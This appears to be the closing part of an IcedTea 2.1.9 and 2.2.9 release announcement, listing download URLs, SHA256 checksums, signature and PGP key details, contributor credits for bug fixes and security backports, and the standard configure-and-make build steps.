http://icedtea.classpath.org/download/source/icedtea-2.2.9.tar.gz
SHA256 checksums:
978bd734103ac3a81476d31801ff9ddc007b4b30bccf13ce83af5f4a5e17604d icedtea-2.1.9.tar.gz
e56dbcc3fe783535881aca893ce5cd20e73d9c0f159811b98233042843af756a icedtea-2.2.9.tar.gz
The tarballs are accompanied by a digital signature available at:
http://icedtea.classpath.org/download/source/icedtea-2.1.9.tar.gz.sig
http://icedtea.classpath.org/download/source/icedtea-2.2.9.tar.gz.sig
respectively. This is produced using my public key. See details below.
PGP Key: 248BDC07 (https://keys.indymedia.org/)
Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07
The following people helped with these releases:
Andreas Schwab (PR1378 patch for AArch64 Zero support
Andrew Hughes (all other bug fixes, application of security fixes & backports, release management)
Xerxes Rånby (PR1188 ARM fix for 2.1.9)
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-${ver}.tar.gz
$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-${ver}/configure
$ make
where ${ver} is the version used.
Full build requirements and instructions are available in the INSTALL file.
Happy hacking! [Less]
|